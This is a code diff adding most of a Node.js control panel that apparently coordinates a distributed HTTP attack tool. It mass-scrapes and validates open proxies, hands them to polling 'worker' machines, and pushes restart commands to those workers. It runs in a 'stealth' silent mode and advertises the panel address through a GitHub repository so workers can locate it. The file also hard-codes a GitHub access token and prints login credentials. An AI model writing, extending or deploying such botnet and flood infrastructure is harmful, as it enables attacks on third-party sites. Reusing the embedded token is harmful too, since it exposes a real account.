+            'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks5.txt',
+            'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/http.txt',
+            'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/https.txt',
+            'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/socks4.txt',
+            'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/socks5.txt',
+            'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/socks5.txt',
+            'https://proxyspace.pro/http.txt',
+            'https://proxyspace.pro/https.txt',
+            'https://proxyspace.pro/socks4.txt',
+            'https://proxyspace.pro/socks5.txt',
+            'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt',
+            'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt',
+            'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks4/socks4.txt',
+            'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks5/socks5.txt',
+            'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/http.txt',
+            'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/https.txt',
+            'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/socks4.txt',
+            'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/socks5.txt',
+            'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/http.txt',
+            'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/socks4.txt',
+            'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/socks5.txt',
+            'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/http.txt',
+            'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/https.txt',
+            'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/socks4.txt',
+            'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/socks5.txt',
+            // ── Additional sources ────────────────────────────────────────────────
+            'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all',
+            'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all',
+            'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all',
+            'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/http.txt',
+            'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/socks4.txt',
+            'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/socks5.txt',
+            'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/http.txt',
+            'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/socks4.txt',
+            'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/socks5.txt',
+            'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/http_proxies.txt',
+            'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/https_proxies.txt',
+            'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/socks4_proxies.txt',
+            'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/socks5_proxies.txt',
+            'https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/http_proxies.txt',
+            'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/socks4_proxies.txt',
+            'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/socks5_proxies.txt',
+            'https://raw.githubusercontent.com/themiralay/Proxy-List-World/master/data.txt',
+            'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt',
+            'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks4.txt',
+            'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt',
+            'https://raw.githubusercontent.com/casals-ar/proxy-list/main/http',
+            'https://raw.githubusercontent.com/casals-ar/proxy-list/main/socks4',
+            'https://raw.githubusercontent.com/casals-ar/proxy-list/main/socks5',
+            'https://raw.githubusercontent.com/im-razvan/proxy_list/main/http.txt',
+            'https://raw.githubusercontent.com/im-razvan/proxy_list/main/socks5.txt',
+            'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt',
+            'https://raw.githubusercontent.com/ObcbO/getproxy/master/file/http.txt',
+            'https://raw.githubusercontent.com/ObcbO/getproxy/master/file/socks5.txt',
+            'https://raw.githubusercontent.com/saisuiu/Lionkings-Http-Proxys-Proxies/main/free.txt',
+            'https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt',
+            'https://raw.githubusercontent.com/a2u/free-proxy-list/master/free-proxy-list.txt',
+            'https://raw.githubusercontent.com/yucamdas/free-proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/yucamdas/free-proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/mmpx12/proxy-list/master/proxy.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/http.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/socks4.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/socks5.txt',
+        ];
+        const JSON_SOURCES = [
+            { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
+            { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=2&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
+            { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=http,https&limit=500&page=3&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
+            { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=socks4,socks5&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
+            { url: 'https://proxylist.geonode.com/api/proxy-list?protocols=socks4,socks5&limit=500&page=2&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
+            { url: 'https://api.proxyscrape.com/v4/free-proxy-list/get?request=displayproxies&proxy_format=protocolipport&format=json', extract: (d) => { if (!d || !Array.isArray(d.proxies)) return []; return d.proxies.map(p => p.proxy).filter(Boolean); } },
+            { url: 'https://proxylist.geonode.com/api/proxy-list?filterUpTime=90&limit=500&page=1&sort_by=lastChecked&sort_type=desc', extract: (d) => { if (!d || !Array.isArray(d.data)) return []; return d.data.map(p => `${p.ip}:${p.port}`).filter(Boolean); } },
+        ];
+
+        function fetchProxyURL(url) {
+            return new Promise((resolve) => {
+                const mod = url.startsWith('https') ? https : http;
+                const req = mod.get(url, { timeout: PROXY_FETCH_TIMEOUT, headers: { 'User-Agent': 'Mozilla/5.0' } }, (res) => {
+                    if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) return resolve(fetchProxyURL(res.headers.location));
+                    if (res.statusCode < 200 || res.statusCode >= 400) return resolve({ ok: false });
+                    let body = '';
+                    res.on('data', c => { body += c; });
+                    res.on('end', () => resolve({ ok: true, data: body }));
+                });
+                req.on('timeout', () => { req.destroy(); resolve({ ok: false }); });
+                req.on('error', () => resolve({ ok: false }));
+            });
+        }
+
+        async function scrapeProxies() {
+            const collected = new Set();
+            let success = 0, failed = 0;
+            const CONCURRENCY = 40;
+            for (let i = 0; i < PLAIN_SOURCES.length; i += CONCURRENCY) {
+                const batch = PLAIN_SOURCES.slice(i, i + CONCURRENCY);
+                const results = await Promise.allSettled(batch.map(u => fetchProxyURL(u)));
+                results.forEach((r) => { if (r.status === 'fulfilled' && r.value.ok) { success++; const text = typeof r.value.data === 'string' ? r.value.data : JSON.stringify(r.value.data); (text.match(PROXY_REGEX_P) || []).forEach(m => collected.add(m)); } else failed++; });
+            }
+            const jsonResults = await Promise.allSettled(JSON_SOURCES.map(s => fetchProxyURL(s.url)));
+            jsonResults.forEach((r, i) => { if (r.status === 'fulfilled' && r.value.ok) { try { const d = JSON.parse(r.value.data); JSON_SOURCES[i].extract(d).forEach(p => collected.add(p)); success++; } catch { failed++; } } else failed++; });
+            return { proxies: Array.from(collected), success, failed };
+        }
+
+        function testProxy(host, port) {
+            return new Promise((resolve) => {
+                const socket = new net.Socket();
+                let done = false;
+                const finish = (ok) => { if (done) return; done = true; socket.destroy(); resolve(ok); };
+                socket.setTimeout(PROXY_VALIDATE_TIMEOUT);
+                socket.connect(parseInt(port, 10), host, () => finish(true));
+                socket.on('error', () => finish(false));
+                socket.on('timeout', () => finish(false));
+            });
+        }
+
+        async function validateProxies(proxies, onLive) {
+            const live = [];
+            const batchSize = PROXY_MAX_CONCURRENT;
+            for (let i = 0; i < proxies.length; i += batchSize) {
+                const batch = proxies.slice(i, i + batchSize);
+                const results = await Promise.allSettled(batch.map(async (proxy) => { try { const [host, port] = proxy.split(':'); if (!host || !port || !/^\d+$/.test(port)) return { proxy, ok: false }; return { proxy, ok: await testProxy(host.trim(), port.trim()) }; } catch { return { proxy, ok: false }; } }));
+                const batchLive = [];
+                results.forEach(r => { if (r.status === 'fulfilled' && r.value?.ok) { live.push(r.value.proxy); batchLive.push(r.value.proxy); } });
+                if (onLive && batchLive.length > 0) onLive(batchLive);
+            }
+            return live;
+        }
+
+        let proxyScrapeRunning = false;
+        let proxyScrapeLog = [];
+        let proxyScrapeStartTime = null;
+
+        app.post("/api/proxy/scrape", requireAuth, async (req, res) => {
+            if (proxyScrapeRunning) return res.json({ status: "running", message: "Proxy scraping already in progress", startTime: proxyScrapeStartTime });
+            proxyScrapeRunning = true;
+            proxyScrapeStartTime = new Date();
+            proxyScrapeLog = [];
+            proxyScrapeLog.push({ type: "info", message: `Starting proxy scrape: ${PLAIN_SOURCES.length + JSON_SOURCES.length} sources` });
+            res.json({ status: "ok", message: "Proxy scraping started" });
+            (async () => {
+                const existing = new Set();
+                try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
+                const result = await scrapeProxies();
+                result.proxies.forEach(p => existing.add(p));
+                proxyScrapeLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique (${result.success} OK, ${result.failed} failed). Merged: ${existing.size} (with existing)` });
+                // Stream: clear file now, write live proxies as each batch completes
+                try { fs.writeFileSync(PROXY_FILE, ''); } catch {}
+                const liveSet = new Set();
+                const live = await validateProxies(Array.from(existing), (batchLive) => {
+                    const newOnes = batchLive.filter(p => !liveSet.has(p));
+                    newOnes.forEach(p => liveSet.add(p));
+                    if (newOnes.length > 0) {
+                        try { fs.appendFileSync(PROXY_FILE, newOnes.join('\n') + '\n'); } catch {}
+                        proxyScrapeLog.push({ type: "progress", message: `+${newOnes.length} live (total: ${liveSet.size})` });
+                    }
+                });
+                proxyScrapeLog.push({ type: "complete", message: `Done! ${live.length} proxies saved`, proxyCount: live.length });
+                proxyScrapeRunning = false;
+            })();
+        });
+
+        app.get("/api/proxy/count", requireAuth, (req, res) => { let count = 0; let size = 0; try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); count = content.split("\n").filter(l => l.trim()).length; size = fs.statSync(path.join(__dirname, "proxy.txt")).size; } catch {} res.json({ count, size, file: "proxy.txt" }); });
+        app.get("/api/proxy/live", requireAuth, (req, res) => { res.json({ running: proxyScrapeRunning, startTime: proxyScrapeStartTime, logLength: proxyScrapeLog.length, log: proxyScrapeLog }); });
+        app.post("/api/proxy/stop", requireAuth, (req, res) => { proxyScrapeRunning = false; proxyScrapeLog.push({ type: "stopped", message: "Scrape flag stopped" }); res.json({ status: "ok", message: "Scrape flag stopped" }); });
+        app.delete("/api/proxy", requireAuth, (req, res) => { try { fs.writeFileSync(path.join(__dirname, "proxy.txt"), ""); res.json({ status: "ok", message: "All proxies deleted" }); } catch (err) { res.status(500).json({ error: "Failed to delete proxies: " + err.message }); } });
+
+        // ─── Proxy Update (non-blocking scrape + validate) ──────────────
+        let proxyUpdateRunning = false;
+        let proxyUpdateLog = [];
+        app.post("/api/proxy/update", requireAuth, async (req, res) => {
+            if (proxyUpdateRunning) return res.json({ status: "running", message: "Update already in progress" });
+            proxyUpdateRunning = true;
+            proxyUpdateLog = [];
+            res.json({ status: "ok", message: "Proxy update started (with streaming validation)" });
+            (async () => {
+                try {
+                    const result = await scrapeProxies();
+                    proxyUpdateLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique from ${result.success} sources` });
+                    const existing = new Set();
+                    try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
+                    result.proxies.forEach(p => existing.add(p));
+                    try { fs.writeFileSync(PROXY_FILE, ''); } catch {}
+                    const liveSet = new Set();
+                    const live = await validateProxies(Array.from(existing), (batchLive) => {
+                        const newOnes = batchLive.filter(p => !liveSet.has(p));
+                        newOnes.forEach(p => liveSet.add(p));
+                        if (newOnes.length > 0) {
+                            try { fs.appendFileSync(PROXY_FILE, newOnes.join('\n') + '\n'); } catch {}
+                            proxyUpdateLog.push({ type: "progress", message: `+${newOnes.length} live (total: ${liveSet.size})` });
+                        }
+                    });
+                    proxyUpdateLog.push({ type: "complete", message: `Done! ${live.length} proxies saved`, proxyCount: live.length });
+                    stealthLog(`[proxy/update] Done: ${live.length} live proxies saved`);
+                } catch (e) { if (!STEALTH) console.error('[proxy/update] Error:', e.message); proxyUpdateLog.push({ type: "error", message: e.message }); }
+                proxyUpdateRunning = false;
+            })();
+        });
+        app.get("/api/proxy/update/status", requireAuth, (req, res) => { res.json({ running: proxyUpdateRunning, logLength: proxyUpdateLog.length, log: proxyUpdateLog }); });
+
+        // ─── Real-time Proxies for Workers ───────
+        let proxyCache = null;
+        let proxyCacheTime = 0;
+        function loadProxyCache() {
+            const now = Date.now();
+            if (proxyCache && (now - proxyCacheTime) < 60000) return proxyCache;
+            try {
+                const content = fs.readFileSync(PROXY_FILE, 'utf8');
+                proxyCache = content.split('\n').filter(l => l.trim());
+                proxyCacheTime = now;
+            } catch { proxyCache = []; }
+            return proxyCache;
+        }
+        app.get("/api/worker/proxies", async (req, res) => {
+            const auth = (req.headers["authorization"] || "");
+            const token = auth.startsWith("Bearer ") ? auth.slice(7) : "";
+            if (token !== WORKER_SECRET) return res.status(401).json({ error: "Unauthorized" });
+            const proxies = loadProxyCache();
+            const hash = require("crypto").createHash("md5").update(proxies.join(",")).digest("hex");
+            res.json({ count: proxies.length, hash, proxies });
+        });
+        app.delete("/api/proxy/:index", requireAuth, (req, res) => { const index = parseInt(req.params.index); try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); const lines = content.split("\n").filter(l => l.trim()); if (index < 0 || index >= lines.length) return res.status(400).json({ error: "Invalid proxy index" }); const removed = lines.splice(index, 1); fs.writeFileSync(path.join(__dirname, "proxy.txt"), lines.join("\n") + (lines.length > 0 ? "\n" : "")); res.json({ status: "ok", message: `Proxy deleted: ${removed[0]}`, remaining: lines.length }); } catch (err) { res.status(500).json({ error: "Failed to delete proxy: " + err.message }); } });
+        app.get("/api/proxy/list", requireAuth, (req, res) => { const limit = parseInt(req.query.limit) || 100; const offset = parseInt(req.query.offset) || 0; try { const content = fs.readFileSync(path.join(__dirname, "proxy.txt"), "utf8"); const lines = content.split("\n").filter(l => l.trim()); const total = lines.length; const proxies = lines.slice(offset, offset + limit); res.json({ total, count: proxies.length, offset, limit, proxies }); } catch (err) { res.json({ total: 0, count: 0, proxies: [] }); } });
+
+
+        // ─── History ──────────────────────────────────────────────
+        app.get("/api/history", requireAuth, (req, res) => { const history = getHistory(); const limit = parseInt(req.query.limit) || 100; res.json({ count: history.length, history: history.slice(0, limit) }); });
+        app.delete("/api/history", requireAuth, (req, res) => { saveHistory([]); res.json({ status: "ok", message: "History cleared" }); });
+
+
+        // ─── Remote Sync ──────────────────────────────────────────
+        app.post("/api/sync/pull", requireAuth, async (req, res) => {
+            const { execFile } = require("child_process");
+            const ghToken = (CONFIG.ghToken || "").trim();
+            const ghRepo  = (CONFIG.ghRepo  || "").trim();
+
+            // Build authenticated remote URL or fall back to existing origin
+            function buildPullArgs(originUrl) {
+                let remote = originUrl;
+                if (ghToken && remote.startsWith("https://")) {
+                    remote = remote.replace(/^https:\/\/([^@]+@)?/, `https://${ghToken}@`);
+                } else if (ghToken && ghRepo) {
+                    remote = ghRepo.replace(/^https:\/\/([^@]+@)?/, `https://${ghToken}@`);
+                }
+                return remote !== originUrl ? ["-C", __dirname, "pull", remote] : ["-C", __dirname, "pull"];
+            }
+
+            // Step 1: Broadcast restart to all workers BEFORE pulling
+            const workers = global.activeWorkers || {};
+            const workerCount = Object.keys(workers).length;
+            
+            if (workerCount > 0) {
+                stealthLog(`📡 Broadcasting restart to ${workerCount} worker(s) before pull...`);
+                for (const wid of Object.keys(workers)) {
+                    pendingCommands.set(wid, { action: "restart" });
+                }
+            }
+
+            // Step 2: Execute git pull
+            execFile("git", ["-C", __dirname, "remote", "get-url", "origin"], { timeout: 8000 }, (e1, stdout1) => {
+                const originUrl = (stdout1 || "").trim();
+                const pullArgs = buildPullArgs(originUrl || ghRepo);
+                
+                execFile("git", pullArgs, { timeout: 60000 }, (e2, stdout2, stderr2) => {
+                    const out = ((stdout2 || "") + (stderr2 || "")).trim();
+                    const failed = (e2 && e2.code) || out.toLowerCase().includes("error");
+                    
+                    if (failed) {
+                        return res.json({ status: "error", output: out || e2.message, workersNotified: workerCount > 0 });
+                    }
+                    
+                    // Step 3: Success - schedule process exit
+                    stealthLog(`✅ Pull successful. ${workerCount} worker(s) notified to restart.`);
+                    res.json({ 
+                        status: "ok", 
+                        output: out || "Already up to date.", 
+                        restarting: true,
+                        workersNotified: workerCount,
+                        countdown: 5
+                    });
+                    
+                    // Give workers 3 seconds to receive restart command before exiting
+                    setTimeout(() => {
+                        stealthLog("🔄 Server exiting for restart...");
+                        process.exit(0);
+                    }, 3000);
+                });
+            });
+        });
+
+        // ─── Serve HTML ───────────────────────────────────────────
+        app.get("/", (req, res) => res.sendFile(path.join(__dirname, "public", "index.html")));
+        app.get("/login", (req, res) => res.sendFile(path.join(__dirname, "public", "index.html")));
+
+        // ─── Start Server ─────────────────────────────────────────
+        app.listen(WEB_PORT, "0.0.0.0", async () => {
+            if (!STEALTH) console.log("🌐 Mendeteksi IP publik...");
+            const publicIP = await getPublicIP();
+            const ipDisplay = publicIP || "<IP_PUBLIK>";
+            if (!STEALTH) {
+                console.log(`\n╔══════════════════════════════════════════════════════════╗`);
+                console.log(`║     🚀  Michelle Wang - Web Control Panel               ║`);
+                console.log(`╠══════════════════════════════════════════════════════════╣`);
+                console.log(`║  IP Publik: ${ipDisplay.padEnd(47)}║`);
+                console.log(`║  URL:      http://localhost:${String(WEB_PORT).padEnd(44)}║`);
+                console.log(`║  Akses:    http://${ipDisplay}:${WEB_PORT}${" ".repeat(Math.max(0, 37 - ipDisplay.length - String(WEB_PORT).length))}║`);
+                console.log(`║  Username: ${WEB_USER.padEnd(48)}║`);
+                console.log(`║  Password: ${WEB_PASS.padEnd(48)}║`);
+                console.log(`╠══════════════════════════════════════════════════════════╣`);
+                console.log(`║  Methods:  h2-go (DOR), h1-go (HTTP/1.1)                          ║`);
+                console.log(`╚══════════════════════════════════════════════════════════╝\n`);
+                if (!publicIP) { console.log("  [!] IP publik tidak terdeteksi otomatis."); console.log("  Cari IP di: panel hosting / pterodactyl node IP.\n"); }
+            }
+
+            // ═══════════════════════════════════════════════════════════
+            //  AUTO-UPDATE GITHUB CONFIG (workers fetch from here)
+            //  Only push if URL changed — 0 requests if same
+            // ═══════════════════════════════════════════════════════════
+            (function autoUpdateGitHubConfig() {
+                const ghToken = "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";
+                const ghRepo = "michelleangelicaputri8-prog/MichelleWang";
+                if (!publicIP) { stealthLog("  [config] Skipping auto-update — no public IP detected"); return; }
+
+                const newPanelUrl = `http://${publicIP}:${WEB_PORT}`;
+                const ghApiUrl = `https://api.github.com/repos/${ghRepo}/contents/panel-config.json`;
+
+                // Step 1: Fetch current config from GitHub (ETag cached)
+                const req = https.get({
+                    hostname: "api.github.com",
+                    path: `/repos/${ghRepo}/contents/panel-config.json`,
+                    method: "GET",
+                    headers: {
+                        "Authorization": `token ${ghToken}`,
+                        "Accept": "application/vnd.github.v3+json",
+                        "User-Agent": "Panel-AutoUpdate"
+                    },
+                    timeout: 10000
+                }, (res) => {
+                    let body = "";
+                    res.on("data", c => { body += c; });
+                    res.on("end", () => {
+                        try {
+                            const current = JSON.parse(body);
+                            const currentContent = JSON.parse(Buffer.from(current.content, "base64").toString());
+                            if (currentContent.panelUrl === newPanelUrl) {
+                                stealthLog(`  [config] GitHub config up-to-date: ${newPanelUrl} (skipped update)`);
+                                return; // URL sama — skip
+                            }
+                            // Step 2: URL beda — update ke GitHub
+                            const newContent = JSON.stringify({ panelUrl: newPanelUrl });
+                            const updateReq = https.request({
+                                hostname: "api.github.com",
+                                path: `/repos/${ghRepo}/contents/panel-config.json`,
+                                method: "PUT",
+                                headers: {
+                                    "Authorization": `token ${ghToken}`,
+                                    "Accept": "application/vnd.github.v3+json",
+                                    "User-Agent": "Panel-AutoUpdate",
+                                    "Content-Type": "application/json",
+                                    "Content-Length": Buffer.byteLength(JSON.stringify({
+                                        message: `Auto-update: ${newPanelUrl}`,
+                                        content: Buffer.from(newContent).toString("base64"),
+                                        sha: current.sha
+                                    }))
+                                },
+                                timeout: 10000
+                            }, (updateRes) => {
+                                let updateBody = "";
+                                updateRes.on("data", c => { updateBody += c; });
+                                updateRes.on("end", () => {
+                                    if (updateRes.statusCode >= 200 && updateRes.statusCode < 300) {
+                                        stealthLog(`  [config] ✅ GitHub config updated: ${newPanelUrl}`);
+                                    } else {
+                                        stealthLog(`  [config] ⚠️ Update failed (${updateRes.statusCode}): ${updateBody.slice(0, 100)}`);
+                                    }
+                                });
+                            });
+                            updateReq.on("error", e => stealthLog(`  [config] Update error: ${e.message}`));
+                            updateReq.on("timeout", () => { updateReq.destroy(); stealthLog(`  [config] Update timeout`); });
+                            updateReq.write(JSON.stringify({
+                                message: `Auto-update: ${newPanelUrl}`,
+                                content: Buffer.from(newContent).toString("base64"),
+                                sha: current.sha
+                            }));
+                            updateReq.end();
+                        } catch (_) {
+                            stealthLog(`  [config] Could not fetch current config — skipping update`);
+                        }
+                    });
+                });
+                req.on("error", e => stealthLog(`  [config] Fetch error: ${e.message}`));
+                req.on("timeout", () => { req.destroy(); stealthLog(`  [config] Fetch timeout`); });
+                req.end();
+            })();
+
+            // ─── Auto Scrape + Validate Proxies Every 1 Hour ───
+            stealthLog("  ⏰ Auto proxy scraper started (every 1 hour)");
+            setInterval(async () => {
+                try {
+                    if (proxyUpdateRunning) { stealthLog("  ⏳ Proxy update already running, skipping"); return; }
+                    proxyUpdateRunning = true;
+                    proxyUpdateLog = [];
+                    stealthLog("  🕐 Hourly proxy update started...");
+                    const result = await scrapeProxies();
+                    proxyUpdateLog.push({ type: "info", message: `Scraped ${result.proxies.length} unique from ${result.success} sources` });
+                    const existing = new Set();
+                    try { fs.readFileSync(PROXY_FILE, 'utf8').split('\n').forEach(l => { if (l.trim()) existing.add(l.trim()); }); } catch {}
+                    result.proxies.forEach(p => existing.add(p));
+                    const live = await validateProxies(Array.from(existing), () => {});
+                    try { fs.writeFileSync(PROXY_FILE, live.join('\n') + '\n'); } catch {}
+                    const dupesBefore = existing.size - live.length;
+                    proxyCache = null; proxyCacheTime = 0;
+                    proxyUpdateLog.push({ type: "complete", message: `Hourly update done: ${live.length} live proxies`, proxyCount: live.length });
+                    stealthLog(`  ✅ Hourly proxy update: ${live.length} proxies saved (${dupesBefore > 0 ? dupesBefore + ' duplicates included' : 'already clean'})`);
+                } catch (e) { if (!STEALTH) console.error('[auto-proxy] Error:', e.message); }
+                proxyUpdateRunning = false;
+            }, 60 * 60 * 1000).unref();
+        });
+
+        module.exports = app;
+}
+
+(async function bootstrap() {
+    const rl   = require("readline");
+    const fs   = require("fs");
+    const path = require("path");
+    const BOOT_FILE = path.join(__dirname, ".boot.json");
+
+    function ask(prompt, fallback) {
+        return new Promise(resolve => {
+            if (!process.stdin.isTTY) return resolve(fallback);
+            const iface = rl.createInterface({ input: process.stdin, output: process.stdout });
+            iface.question(prompt, ans => { iface.close(); resolve(ans.trim() || fallback); });
+        });
+    }
+
+    let svcMode, svcPort;
+
+    if (process.env.MODE) {
+        // Pterodactyl startup variables take highest priority
+        svcMode = process.env.MODE.toLowerCase();
+        svcPort = parseInt(process.env.PORT || process.env.WEB_PORT) || CONFIG.port;
+    } else {
+        // Check persisted boot config (written after first interactive prompt)
+        let saved = null;
+        try { saved = JSON.parse(fs.readFileSync(BOOT_FILE, "utf8")); } catch (_) {}
+
+        if (saved && saved.mode && saved.port !== undefined) {
+            // Restart after sync/crash — skip prompt entirely
+            svcMode = saved.mode;
+            svcPort = saved.port;
+            // COMPLETELY SILENT for worker mode
+            if (svcMode !== "worker-poll") {
+                process.stdout.write(`  [boot] mode=${svcMode} port=${svcPort} (from saved config)\n`);
+            }
+        } else {
+            // First run — ask interactively
+            process.stdout.write("\n  ┌──────────────────────────────────────────┐\n");
+            process.stdout.write("  │  [1] Web Panel  (server pusat)            │\n");
+            process.stdout.write("  │  [2] Worker       (polling, no port)      │\n");
+            process.stdout.write("  └──────────────────────────────────────────┘\n");
+            const choice = await ask("  › ", "1");
+            svcMode = choice === "2" ? "worker-poll" : "web";
+            const defPort = CONFIG.port;
+
+            // Worker mode — no need to ask panel URL, fetched from GitHub at startup
+            if (svcMode === "worker-poll") {
+                svcPort = 0; // Worker doesn't bind a port
+                stealthLog("  [Worker] Panel URL will be fetched from GitHub at startup");
+            } else {
+                // Web panel mode — ask for bind port
+                const portIn = await ask(`  Bind port [${defPort}]: `, String(defPort));
+                svcPort = parseInt(portIn) || defPort;
+            }
+
+            // Save config
+            try {
+                const saved = { mode: svcMode, port: svcPort };
+                fs.writeFileSync(BOOT_FILE, JSON.stringify(saved));
+            } catch (_) {}
+        }
+    }
+
+    if (svcMode === "worker-poll") {
+        startWorkerPollMode(svcPort);
+    } else {
+        startWebPanel(svcPort);
+    }
+})();